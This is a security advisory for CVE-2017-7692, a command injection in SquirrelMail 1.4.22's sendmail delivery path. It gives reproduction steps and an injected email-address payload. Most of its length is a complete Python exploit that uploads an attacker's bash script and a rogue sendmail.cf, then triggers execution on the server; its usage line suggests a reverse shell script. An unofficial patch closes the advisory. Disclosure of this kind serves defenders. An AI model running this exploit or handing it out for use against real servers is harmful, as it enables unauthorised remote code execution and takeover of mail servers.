Advisory ID: | SGMA17-001 |
Title: | Squirrelmail Remote Code Execution |
Product: | Squirrelmail |
Version: | 1.4.22 and probably prior |
Vendor: | squirrelmail.org |
Vulnerability type: | Command Injection |
Risk level: | 4 / 5 |
Credit: | Filippo Cavallarin - wearesegment.com |
CVE: | CVE-2017-7692 |
Vendor notification: | 2017-04-04 |
Vendor Fix: | N / A |
Public disclosure: | 2017-04-19 |
Details
Squirrelmail version 1.4.22 (and probably prior) is vulnerable to a remote code execution vulnerability because it fails to sanitize a string before passing it to a popen call. It’s possible to exploit this vulnerability to execute arbitrary shell commands on the remote server.
The problem is in Deliver_SendMail.class.php on initStream function that uses escapeshellcmd() to sanitize the sendmail command before executing it. The use of escapeshellcmd() is not correct in this case since it don’t escapes whitespaces allowing the injection of arbitrary command parameters.
$this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom"; $stream = popen(escapeshellcmd($this->sendmail_command), "w");
The $envelopefrom variable is controlled by the attacker, hence it’s possible to trick sendmail to use an attacker-provided configuration file that triggers the execution of an arbitrary command.
In order to exploit this vulnerability the MTA in use must be sendmail and Squirrelmail must be configured to use it as commandline (useSendmail directive of the config file set to true).
Also, the edit_identity directive of the config file must be set to true, but this is the default configuration.
To reproduce the issue follow these steps:
- Create a rogue sendmail.cf that triggers the execution of a /usr/bin/touch:
[...] Mlocal, P=/usr/bin/touch, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, T=DNS/RFC822/X-Unix, A=X /tmp/executed
- Upload it as a mail attachment and get it’s remote name (ex: lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD)
- Go to Options -> Personal Informations and set the following payload as Email Address:
<[email protected] -OQueueDirectory=/tmp -C /var/local/squirrelmail/attach/lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD>
- Send an email
- Verify the execution of the command with “ls /tmp/executed” on the remote server
PoC
The followig python script exploits this vulnerability to execute an attacker provided bash script on the remote server.
#!/usr/bin/env python # -*- coding: utf-8 -*- """ SquirrelMail 1.4.22 Remote Code Execution (authenticated) Exploit code for CVE-2017-7692 [email protected] """ from __future__ import unicode_literals import sys import os import re import requests reload(sys) sys.setdefaultencoding('utf8') SENDMAILCF="/tmp/squirrelmail1_4_22-sendmailcf-rce" COMPOSE = "/src/compose.php" INFOS = "/src/options.php?optpage=personal" SQM_ATTACH_PATH = "/var/local/squirrelmail/attach/" # must be enclosed in <> otherwise spaces will be removed .. SENDER = "<[email protected] -OQueueDirectory=/tmp -C %s%s>" SESSID = "" BASEURL = "" def attach(attachment): url = "%s%s" % (BASEURL, COMPOSE) token = get_csrf_token(url) values = { "smtoken": token, "attach": "add" } try: files = {'attachfile': open(attachment,'rb')} resp = requests.post(url, files=files, data=values, cookies={'SQMSESSID':SESSID}) fname = re.search(r'att_local_name";s:[0-9]+:"([a-zA-Z0-9]+)"', resp.text) if not fname: print "\nError: unable to upload file %s" % attachment return fname.group(1) except Exception as e: print "\nError: %s" % e sys.exit(1) def send(): url = "%s%s" % (BASEURL, COMPOSE) token = get_csrf_token(url) values = { "smtoken": token, "send_to": "root", "send": "Send" } try: resp = requests.post(url, data=values, cookies={'SQMSESSID':SESSID}) except Exception as e: print "\nError: %s" % e sys.exit(1) def set_identity(sender): url = "%s%s" % (BASEURL, INFOS) token = get_csrf_token(url) values = { "smtoken": token, "optpage": "personal", "optmode": "submit", "new_email_address": sender, "submit_personal": "Submit" } try: requests.post(url, data=values, cookies={'SQMSESSID':SESSID}) except Exception as e: print "\nError: %s" % e sys.exit(1) def get_csrf_token(url): try: body = requests.get(url, cookies={'SQMSESSID':SESSID}).text inp = re.search(r'<input.*name="smtoken".*>', body, re.MULTILINE) token = re.search(r'value="([a-zA-Z0-9]+)"', inp.group(0)) if token: return token.group(1) except Exception as e: pass print "\nUnable to get CSRF token" sys.exit(1) def outw(s): sys.stdout.write(s) sys.stdout.flush() def main(argv): global BASEURL global SESSID if len(argv) != 4: print ( "SquirrelMail 1.4.22 Remote Code Execution (authenticated) - [email protected]\n" "The target server must use sendmail and squirrelmail must be configured to use /usr/bin/sendmail\n" "Usage:\n" " %s <url> <session_id> <script>\n" " url: the url of squirrelmail\n" " session_id: the value of SQMSESSID cookie\n" " script: the path to the bash script to be uploaded and executed on the target\n" "Example:\n" " %s http:/example.com/squirrelmail/ l2rapvcovsui1on0b4i5boev24 reverseshell.sh" ) % (argv[0], argv[0]) sys.exit(1) BASEURL = argv[1] SESSID = argv[2] script = argv[3] outw("Uploading script ... ") script_fname = attach(script) print "ok" outw("Generating sendmail.cf ... ") try: script_path = "%s%s" % (SQM_ATTACH_PATH, script_fname) with open(SENDMAILCF, 'w') as f: f.write(SENDMAILCF_CONTENT % script_path) except Exception as e: print "\nError: %s" % e sys.exit(1) print "ok" outw("Uploading sendmail.cf ... ") smc_fname = attach(SENDMAILCF) os.remove(SENDMAILCF) print "ok" outw("Updating user options ... ") sender = SENDER % (SQM_ATTACH_PATH, smc_fname) set_identity(sender) print "ok" outw("Checking identity field ... ") icheck = requests.get("%s%s" % (BASEURL, INFOS), cookies={'SQMSESSID':SESSID}).text if not smc_fname in icheck: print "\nError: unable to set identity field .. maybe squirrelmail is configured with edit_identity=false" sys.exit(1) print "ok" outw("Executing script ... ") send() print "ok\n" sys.exit(0) SENDMAILCF_CONTENT = """ O DontBlameSendmail=,AssumeSafeChown,ForwardFileInGroupWritableDirPath,GroupWritableForwardFileSafe,GroupWritableIncludeFileSafe,IncludeFileInGroupWritableDirPath,DontWarnForwardFileInUnsafeDirPath,TrustStickyBit,NonRootSafeAddr,GroupWritableIncludeFile,GroupReadableDefaultAuthInfoFile Kdequote dequote Scanonify=3 [email protected] [email protected] <@> R$* $: $1 <@> mark addresses R$* < $* > $* <@> $: $1 < $2 > $3 unmark <addr> [email protected] $* <@> $: @ $1 unmark @host:... R$* [ IPv6 : $+ ] <@> $: $1 [ IPv6 : $2 ] unmark IPv6 addr R$* :: $* <@> $: $1 :: $2 unmark node::addr R:include: $* <@> $: :include: $1 unmark :include:... R$* : $* [ $* ] $: $1 : $2 [ $3 ] <@> remark if leading colon R$* : $* <@> $: $2 strip colon if marked R$* <@> $: $1 unmark R$* ; $1 strip trailing semi R$* < $+ :; > $* [email protected] $2 :; <@> catch <list:;> R$* < $* ; > $1 < $2 > bogus bracketed semi [email protected] [email protected] :; <@> R$* $: < $1 > housekeeping <> R$+ < $* > < $2 > strip excess on left R< $* > $+ < $1 > strip excess on right R<> [email protected] < @ > MAIL FROM:<> case R< $+ > $: $1 remove housekeeping <> [email protected] $+ , $+ $2 [email protected] [ $* ] : $+ $2 [email protected] $+ : $+ $2 R $+ : $* ; @ $+ [email protected] $>Canonify2 $1 : $2 ; < @ $3 > list syntax R $+ : $* ; [email protected] $1 : $2; list syntax R$+ @ $+ $: $1 < @ $2 > focus on domain R$+ < $+ @ $+ > $1 $2 < @ $3 > move gaze right R$+ < @ $+ > [email protected] $>Canonify2 $1 < @ $2 > already canonical R$- ! $+ [email protected] $>Canonify2 $2 < @ $1 .UUCP > resolve uucp names R$+ . $- ! $+ [email protected] $>Canonify2 $3 < @ $1 . $2 > domain uucps R$+ ! $+ [email protected] $>Canonify2 $2 < @ $1 .UUCP > uucp subdomains R$* %% $* $1 @ $2 First make them all @s. R$* @ $* @ $* $1 %% $2 @ $3 Undo all but the last. R$* @ $* [email protected] $>Canonify2 $1 < @ $2 > Insert < > and finish R$* [email protected] $>Canonify2 $1 SCanonify2=96 R$* < @ localhost > $* $: $1 < @ $j . > $2 no domain at all R$* < @ localhost . $m > $* $: $1 < @ $j . > $2 local domain R$* < @ localhost . UUCP > $* $: $1 < @ $j . > $2 .UUCP domain R$* < @ [ $+ ] > $* $: $1 < @@ [ $2 ] > $3 mark [addr] R$* < @@ $=w > $* $: $1 < @ $j . > $3 self-literal R$* < @@ $+ > $* [email protected] $1 < @ $2 > $3 canon IP addr Sfinal=4 R$+ :; <@> [email protected] $1 : handle <list:;> R$* <@> [email protected] handle <> and list:; R$* < @ $+ . > $* $1 < @ $2 > $3 R$* < @ *LOCAL* > $* $1 < @ $j > $2 R$* < $+ > $* $1 $2 $3 defocus [email protected] $+ : @ $+ : $+ @ $1 , @ $2 : $3 <route-addr> canonical [email protected] $* [email protected] @ $1 ... and exit R$+ @ $- . UUCP $2!$1 [email protected] => h!u R$+ %% $=w @ $=w $1 @ $2 u%%[email protected] => [email protected] SRecurse=97 R$* $: $>canonify $1 R$* [email protected] $>parse $1 Sparse=0 R$* $: $>Parse0 $1 initial parsing R<@> $#local $: <@> special case error msgs R$* $: $>ParseLocal $1 handle local hacks R$* $: $>Parse1 $1 final parsing SParse0 R<@> [email protected] <@> special case error msgs R$* : $* ; <@> $#error [email protected] 5.1.3 $: "553 List:; syntax illegal for recipient addresses" [email protected] <@ $* > < @ $1 > catch "@@host" bogosity R<@ $+> $#error [email protected] 5.1.3 $: "553 User address required" R$+ <@> $#error [email protected] 5.1.3 $: "553 Hostname required" R$* $: <> $1 R<> $* < @ [ $* ] : $+ > $* $1 < @ [ $2 ] : $3 > $4 R<> $* < @ [ $* ] , $+ > $* $1 < @ [ $2 ] , $3 > $4 R<> $* < @ [ $* ] $+ > $* $#error [email protected] 5.1.2 $: "553 Invalid address" R<> $* < @ [ $+ ] > $* $1 < @ [ $2 ] > $3 R<> $* <$* : $* > $* $#error [email protected] 5.1.3 $: "553 Colon illegal in host name part" R<> $* $1 R$* < @ . $* > $* $#error [email protected] 5.1.2 $: "553 Invalid host name" R$* < @ $* .. $* > $* $#error [email protected] 5.1.2 $: "553 Invalid host name" R$* < @ $* @ > $* $#error [email protected] 5.1.2 $: "553 Invalid route address" R$* @ $* < @ $* > $* $#error [email protected] 5.1.3 $: "553 Invalid route address" R$* , $~O $* $#error [email protected] 5.1.3 $: "553 Invalid route address" R$* < @ > $* [email protected] $>Parse0 $>canonify $1 [email protected] => user R< @ $=w . > : $* [email protected] $>Parse0 $>canonify $2 @here:... -> ... R$- < @ $=w . > $: $(dequote $1 $) < @ $2 . > dequote "foo"@here R< @ $+ > $#error [email protected] 5.1.3 $: "553 User address required" R$* $=O $* < @ $=w . > [email protected] $>Parse0 $>canonify $1 $2 $3 [email protected] -> ... R$- $: $(dequote $1 $) < @ *LOCAL* > dequote "foo" R< @ *LOCAL* > $#error [email protected] 5.1.3 $: "553 User address required" R$* $=O $* < @ *LOCAL* > [email protected] $>Parse0 $>canonify $1 $2 $3 [email protected]*LOCAL* -> ... R$* < @ *LOCAL* > $: $1 SParse1 R$* < @ [ $+ ] > $* $: $>ParseLocal $1 < @ [ $2 ] > $3 numeric internet spec R$* < @ [ $+ ] > $* $: $1 < @ [ $2 ] : $S > $3 Add smart host to path R$* < @ [ $+ ] : > $* $#esmtp [email protected] [$2] $: $1 < @ [$2] > $3 no smarthost: send R$* < @ [ $+ ] : $- : $*> $* $#$3 [email protected] $4 $: $1 < @ [$2] > $5 smarthost with mailer R$* < @ [ $+ ] : $+ > $* $#esmtp [email protected] $3 $: $1 < @ [$2] > $4 smarthost without mailer R$=L < @ $=w . > $#local $: @ $1 special local names R$+ < @ $=w . > $#local $: $1 regular local name R$* < @ $* > $* $: $>MailerToTriple < $S > $1 < @ $2 > $3 glue on smarthost name R$* < @$* > $* $#esmtp [email protected] $2 $: $1 < @ $2 > $3 [email protected] R$=L $#local $: @ $1 special local names R$+ $#local $: $1 regular local names SLocal_localaddr Slocaladdr=5 R$+ $: $1 $| $>"Local_localaddr" $1 R$+ $| $#ok [email protected] $1 no change R$+ $| $#$* $#$2 R$+ $| $* $: $1 R$+ + * $#local [email protected] $&h $: $1 R$+ + $* $#local [email protected] + $2 $: $1 + * R$+ $: <> $1 R< > $+ $: < > < $1 <> $&h > nope, restore +detail R< > < $+ <> + $* > $: < > < $1 + $2 > check whether +detail R< > < $+ <> $* > $: < > < $1 > else discard R< > < $+ + $* > $* < > < $1 > + $2 $3 find the user part R< > < $+ > + $* $#local [email protected] $2 $: @ $1 strip the extra + R< > < $+ > [email protected] $1 no +detail R$+ $: $1 <> $&h add +detail back in R$+ <> + $* $: $1 + $2 check whether +detail R$+ <> $* $: $1 else discard R< local : $* > $* $: $>MailerToTriple < local : $1 > $2 no host extension R< error : $* > $* $: $>MailerToTriple < error : $1 > $2 no host extension R< $~[ : $+ > $+ $: $>MailerToTriple < $1 : $2 > $3 < @ $2 > R< $+ > $+ [email protected] $>MailerToTriple < $1 > $2 < @ $1 > SParseLocal=98 SEnvFromL R<@> $n errors to mailer-daemon [email protected] <@ $*> $n temporarily bypass Sun bogosity R$+ $: $>AddDomain $1 add local domain if needed R$* $: $>MasqEnv $1 do masquerading SEnvToL R$+ < @ $* > $: $1 strip host part R$+ + $* $: < $&{addr_type} > $1 + $2 mark with addr type R<e s> $+ + $* $: $1 remove +detail for sender R< $* > $+ $: $2 else remove mark SHdrFromL R<@> $n errors to mailer-daemon [email protected] <@ $*> $n temporarily bypass Sun bogosity R$+ $: $>AddDomain $1 add local domain if needed R$* $: $>MasqHdr $1 do masquerading SHdrToL R$+ $: $>AddDomain $1 add local domain if needed R$* $: $>MasqHdr $1 do all-masquerading SAddDomain R$* < @ $* > $* [email protected] $1 < @ $2 > $3 already fully qualified R$+ [email protected] $1 < @ *LOCAL* > add local qualification Mlocal, P=/bin/bash, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, T=DNS/RFC822/X-Unix, A=X %s Mprog, P=/bin/sh, F=lsDFMoqeu9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, D=$z:/, T=X-Unix/X-Unix/X-Unix, A=sh -c $u """ if __name__ == '__main__': main(sys.argv)
Solution
No official fix is available.
The following unofficial patch can be used to fix this vulnerability.
diff -ruN squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMail.class.php --- squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php 2011-01-06 02:44:03.000000000 +0000 +++ squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMail.class.php 2017-04-18 11:42:26.505181944 +0000 @@ -93,9 +93,9 @@ $envelopefrom = trim($from->mailbox.'@'.$from->host); $envelopefrom = str_replace(array("\0","\n"),array('',''),$envelopefrom); // save executed command for future reference - $this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom"; + $this->sendmail_command = escapeshellcmd("$sendmail_path $this->sendmail_args -f") . escapeshellarg($envelopefrom); // open process handle for writing - $stream = popen(escapeshellcmd($this->sendmail_command), "w"); + $stream = popen($this->sendmail_command, "w"); return $stream; }
Note
Dawid Golunski discovered this vulnerability and reported it to the vendor in January.
See the seclists.org thread below for details. https://seclists.org/fulldisclosure/2017/Apr/100